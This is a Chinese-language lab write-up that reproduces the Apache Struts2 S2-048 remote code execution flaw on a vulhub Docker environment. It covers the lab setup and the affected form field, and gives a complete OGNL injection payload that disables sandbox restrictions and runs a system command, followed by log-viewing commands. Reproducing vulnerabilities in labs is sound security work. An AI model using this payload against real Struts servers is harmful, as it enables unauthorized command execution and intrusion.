0X00-引言
钢铁内涵夜里我看学痞哦阿国,怀着冷却的心窝飘远方
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
0X02-漏洞描述
影响版本: 2.0.0 - 2.3.32
Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞,进而导致任意代码执行。
这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8080/showcase/
即可查看到struts2的测试页面。
访问Integration/Struts 1 Integration
触发OGNL表达式的位置是Gangster Name
这个表单。
输入${233*233}
即可查看执行结果(剩下两个表单随意填写)
0X03-漏洞复现
http://192.168.234.128:8080/integration/editGangster.action
01-任意命令执行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
0X04-漏洞分析
略
0X05-工具利用
没找到
0X06-查看日志
docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器